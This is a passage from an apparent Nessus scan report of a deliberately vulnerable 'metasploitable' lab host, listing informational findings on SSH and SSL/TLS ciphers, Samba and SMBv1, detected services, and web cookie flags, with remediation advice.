Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

----- snip ----- [...]
```

70657 - SSH Algorithms and Languages Supported

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2017/08/28

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm with the server :
```

```
The server supports the following options for kex_algorithms :
```

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group-exchange-sha256
diffie-hellman-group1-sha1
diffie-hellman-group14-sha1
```

```
The server supports the following options for server_host_key_algorithms :
```

```
ssh-dss
ssh-rsa
```

```
The server supports the following options for encryption_algorithms_client_to_server :
```

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
arcfour128
arcfour256
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

The server supports the following options for `encryption_algorithms_server_to_client` :

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
arcfour128
arcfour256
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

The server supports the following options for `mac_algorithms_client_to_server` :

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
umac-64@openssh.com
```

The server supports the following options for `mac_algorithms_server_to_client` :

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
umac-64@openssh.com
```

The server supports the following options for `compression_algorithms_client_to_server` :

```
none
zlib@openssh.com
```

The server supports the following options for `compression_algorithms_server_to_client` :

```
none
zlib@openssh.com
```

149334 - SSH Password Authentication Accepted

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

<https://tools.ietf.org/html/rfc4252#section-8>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :
```

- 1.99
- 2.0

153588 - SSH SHA-1 HMAC Algorithms Enabled

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
hmac-sha1
hmac-sha1-96
```

```
The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
hmac-sha1
hmac-sha1-96
```

10267 - SSH Server Type and Version Information

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SSH supported authentication : publickey,password
```


56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/25/smtp

```
This port supports SSLv2/SSLv3/TLSv1.0.
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
The host name known by Nessus is :
```

```
metasploitable
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.localdomain
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
```

```
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
            0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
            1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
            68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
            83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
            A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
            15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
                    83 0C 7A F1 E3 2D EE 43 6D E8 13 CC
SHA-1 Fingerprint: ED 09 30 88 70 66 03 BF D5 DC 23 73 99 B4 98 DA 2D [...]
```

70544 - SSL Cipher Block Chaining Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

<http://www.nessus.org/u?cc4a822a>

<https://www.openssl.org/~bodo/tls-cbc.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/22, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

Here is the list of SSL CBC ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-RC2-CBC-MD5	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
export					
EXP-EDH-RSA-DES-CBC-SHA	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
SHA1 export					
EDH-RSA-DES-CBC-SHA	0x00, 0x15	DH	RSA	DES-CBC(56)	
SHA1					
EXP-ADH-DES-CBC-SHA	0x00, 0x19	DH(512)	None	DES-CBC(40)	
SHA1 export					
ADH-DES-CBC-SHA	0x00, 0x1A	DH	None	DES-CBC(56)	
SHA1					

EXP-DES-CBC-SHA SHA1	export	0x00, 0x08	RSA (512)	RSA	DES-CBC (40)	
EXP-RC2-CBC-MD5 export		0x00, 0x06	RSA (512)	RSA	RC2-CBC (40)	MD5
DES-CBC-SHA SHA1		0x00, 0x09	RSA	RSA	DES-CBC (56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC (168)	MD5
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC (168)	
ADH-DES-CBC3-SHA SHA1	0x00, 0x1B	DH	None	3DES-CBC (168)	
DES-CBC3-SHA SHA1	0x00, 0x0A	RSA	RSA	3DES-CBC (168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	----- [...]				

21643 - SSL Cipher Suites Supported

Synopsis

The remote service encrypts communications using SSL.

Description

This plugin detects which SSL ciphers are supported by the remote service for encrypting communications.

See Also

<https://www.openssl.org/docs/man1.0.2/man1/ciphers.html>

<http://www.nessus.org/u?e17ffced>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/06/05, Modified: 2023/07/10

Plugin Output

tcp/25/smtp

Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	---	-----	---
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH (512)	RSA	DES-CBC (40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC (56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH (512)	None	DES-CBC (40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH (512)	None	RC4 (40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC (56)	
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA (512)	RSA	DES-CBC (40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA (512)	RSA	RC2-CBC (40)	MD5

EXP-RC4-MD5 export	0x00, 0x03	RSA (512)	RSA	RC4 (40)	MD5
DES-CBC-SHA SHA1	0x00, 0x09	RSA	RSA	DES-CBC (56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC (168)	
ADH-DES-CBC3-SHA SHA1	0x00, 0x1B	DH	None	3DES-CBC (168)	
DES-CBC3-SHA SHA1	0x00, 0x0A	RSA	RSA	3DES-CBC (168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	[...]
------	------	-----	------	-------

62563 - SSL Compression Methods Supported

Synopsis

The remote service supports one or more compression methods for SSL connections.

Description

This script detects which compression methods are supported by the remote service for SSL connections.

See Also

<http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml>

<https://tools.ietf.org/html/rfc3749>

<https://tools.ietf.org/html/rfc3943>

<https://tools.ietf.org/html/rfc5246>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2012/10/16, Modified: 2022/04/11

Plugin Output

tcp/25/smtp

```
Nessus was able to confirm that the following compression method is
supported by the target :
```

```
DEFLATE (0x01)
```

57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

See Also

<https://www.openssl.org/docs/manmaster/man1/ciphers.html>

https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange

https://en.wikipedia.org/wiki/Perfect_forward_secrecy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/07, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

Here is the list of SSL PFS ciphers supported by the remote server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC(56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC(168)	

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
DHE-RSA-AES128-SHA SHA1	0x00, 0x33	DH	RSA	AES-CBC(128)	
DHE-RSA-AES256-SHA SHA1	0x00, 0x39	DH	RSA	AES-CBC(256)	

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

51891 - SSL Session Resume Supported

Synopsis

The remote host allows resuming SSL sessions.

Description

This script detects whether a host allows resuming SSL sessions by performing a full SSL handshake to receive a session ID, and then reconnecting with the previously used session ID. If the server accepts the session ID in the second connection, the server maintains a cache of sessions that can be resumed.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/02/07, Modified: 2021/09/13

Plugin Output

tcp/25/smtp

```
This port supports resuming SSLv3 sessions.
```

156899 - SSL/TLS Recommended Cipher Suites

Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

TLSv1.3:

- 0x13,0x01 TLS13_AES_128_GCM_SHA256
- 0x13,0x02 TLS13_AES_256_GCM_SHA384
- 0x13,0x03 TLS13_CHACHA20_POLY1305_SHA256

TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

See Also

https://wiki.mozilla.org/Security/Server_Side_TLS

<https://ssl-config.mozilla.org/>

Solution

Only enable support for recommended cipher suites.

Risk Factor

None

Plugin Information

Published: 2022/01/20, Modified: 2024/02/12

Plugin Output

tcp/25/smtp

The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined below:

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-RC2-CBC-MD5 export	0x04, 0x00, 0x80	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x02, 0x00, 0x80	RSA(512)	RSA	RC4(40)	MD5
EXP-EDH-RSA-DES-CBC-SHA SHA1 export	0x00, 0x14	DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA SHA1	0x00, 0x15	DH	RSA	DES-CBC(56)	
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	
EXP-DES-CBC-SHA SHA1 export	0x00, 0x08	RSA(512)	RSA	DES-CBC(40)	
EXP-RC2-CBC-MD5 export	0x00, 0x06	RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export	0x00, 0x03	RSA(512)	RSA	RC4(40)	MD5
DES-CBC-SHA SHA1	0x00, 0x09	RSA	RSA	DES-CBC(56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC(168)	MD5
EDH-RSA-DES-CBC3-SHA SHA1	0x00, 0x16	DH	RSA	3DES-CBC(168)	
ADH-DE [...]					

25240 - Samba Server Detection

Synopsis

An SMB server is running on the remote host.

Description

The remote host is running Samba, a CIFS/SMB server for Linux and Unix.

See Also

<https://www.samba.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2022/10/12

Plugin Output

tcp/445/cifs

The remote host tries to hide its SMB server type by changing the MAC address and the LAN manager name.

However by sending several valid and invalid RPC requests it was possible to fingerprint the remote SMB server as Samba.

104887 - Samba Version

Synopsis

It was possible to obtain the samba version from the remote operating system.

Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote Samba Version is : Samba 3.0.20-Debian
```


96982 - Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)

Synopsis

The remote Windows host supports the SMBv1 protocol.

Description

The remote Windows host supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, the Shadow Brokers group reportedly has an exploit that affects SMB; however, it is unknown if the exploit affects SMBv1 or another version. In response to this, US-CERT recommends that users disable SMBv1 per SMB best practices to mitigate these potential issues.

See Also

<https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/>

<https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and>

<http://www.nessus.org/u?8dcab5e4>

<http://www.nessus.org/u?234f8ef8>

<http://www.nessus.org/u?4c7e0cf3>

Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Risk Factor

None

References

XREF IAVT:0001-T-0710

Plugin Information

Published: 2017/02/03, Modified: 2020/09/22

Plugin Output

tcp/445/cifs

```
The remote host supports SMBv1.
```


22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/21/ftp

```
An FTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/23/telnet

```
A telnet server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/25/smtp

```
An SMTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/80/www

```
A web server is running on this port.
```

25220 - TCP/IP Timestamps Supported

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

<http://www.ietf.org/rfc/rfc1323.txt>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

19941 - TWiki Detection

Synopsis

The remote web server hosts a Wiki system written in Perl.

Description

The remote host is running TWiki, an open source wiki system written in Perl.

See Also

<http://twiki.org>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/10/06, Modified: 2023/05/24

Plugin Output

tcp/80/www

```
URL      : http://192.168.50.152/twiki/bin/view/Main
Version  : 01 Feb 2003
```

110723 - Target Credential Status by Authentication Protocol - No Credentials Provided

Synopsis

Nessus was able to find common ports used for local checks, however, no credentials were provided in the scan policy.

Description

Nessus was not able to successfully authenticate directly to the remote target on an available authentication protocol. Nessus was able to connect to the remote port and identify that the service running on the port supports an authentication protocol, but Nessus failed to authenticate to the remote service using the provided credentials. There may have been a protocol failure that prevented authentication from being attempted or all of the provided credentials for the authentication protocol may be invalid. See plugin output for error details.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.
- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0504

Plugin Information

Published: 2018/06/27, Modified: 2024/04/19

Plugin Output

tcp/0

```
SSH was detected on port 22 but no credentials were provided.  
SSH local checks were not enabled.
```


10287 - Traceroute Information

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.50.150 to 192.168.50.152 :  
192.168.50.150  
192.168.50.152
```

```
Hop Count: 1
```

135860 - WMI Not Available

Synopsis

WMI queries could not be made against the remote host.

Description

WMI (Windows Management Instrumentation) is not available on the remote host over DCOM. WMI queries are used to gather information about the remote host, such as its current state, network interface configuration, etc.

Without this information Nessus may not be able to identify installed software or security vulnerabilities that exist on the remote host.

See Also

<https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/04/21, Modified: 2024/09/03

Plugin Output

tcp/445/cifs

```
Can't connect to the 'root\CIMV2' WMI namespace.
```

100669 - Web Application Cookies Are Expired

Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

See Also

<https://tools.ietf.org/html/rfc6265>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

Risk Factor

None

Plugin Information

Published: 2017/06/07, Modified: 2021/12/20

Plugin Output

tcp/80/www

The following cookies are expired :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Tue, 12-Sep-2023 14:04:33 GMT
Comment :
Secure : 0
Httponly : 0
Port :

Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted

Domain :
Version : 1
Expires : Tue, 12-Sep-2023 14:04:58 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Tue, 12-Sep-2023 14:04:25 GMT
Comment :
Secure : 0
Httponly : 0
Port :

85601 - Web Application Cookies Not Marked HttpOnly

Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

See Also

<https://www.owasp.org/index.php/HttpOnly>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

Risk Factor

None

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801

XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

The following cookies do not set the HttpOnly cookie flag :

Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : PHPSESSID
Path : /
Value : 179e84e12e1f5021ae1ff6e3d0d0f2df
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

85602 - Web Application Cookies Not Marked Secure

Synopsis

HTTP session cookies might be transmitted in cleartext.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

See Also

<https://www.owasp.org/index.php/SecureFlag>

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

Risk Factor

None

References

XREF	CWE:522
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

The following cookies do not set the secure cookie flag :

Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Fri, 11-Oct-2024 13:58:59 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : 82%25
Domain :
Version : 1
Expires : Fri, 11-Oct-2024 13:58:59 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

Name : phpMyAdmin
Path : /phpMyAdmin/
Value : b8c6d6c2f1ba65367aa74aa3ab973d9a1d42c805
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Fri, 11-Oct-2024 13:58:59 GMT
Comment :
Secure : 0
Httponly : 1
Port :

Name : pma_theme
Path : /phpMyAdmin/
Value : original
Domain :
Version : 1
Expires : Fri, 11-Oct-2024 13:58:59 GMT

Comment :
Secure : 0
Httponly : 1
Port :

Name : PHPSESSID
Path : /
Value : 179e84e12e1f5021ae1ff6e3d0d0f2df
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :

40773 - Web Application Potentially Sensitive CGI Parameter Detection

Synopsis

An application was found that may use CGI parameters to control sensitive information.

Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

** This plugin only reports information that may be useful for auditors

** or pen-testers, not a real flaw.

Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

Risk Factor

None

Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Potentially sensitive parameters for CGI /dvwa/login.php :  
password : Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack
```

Synopsis

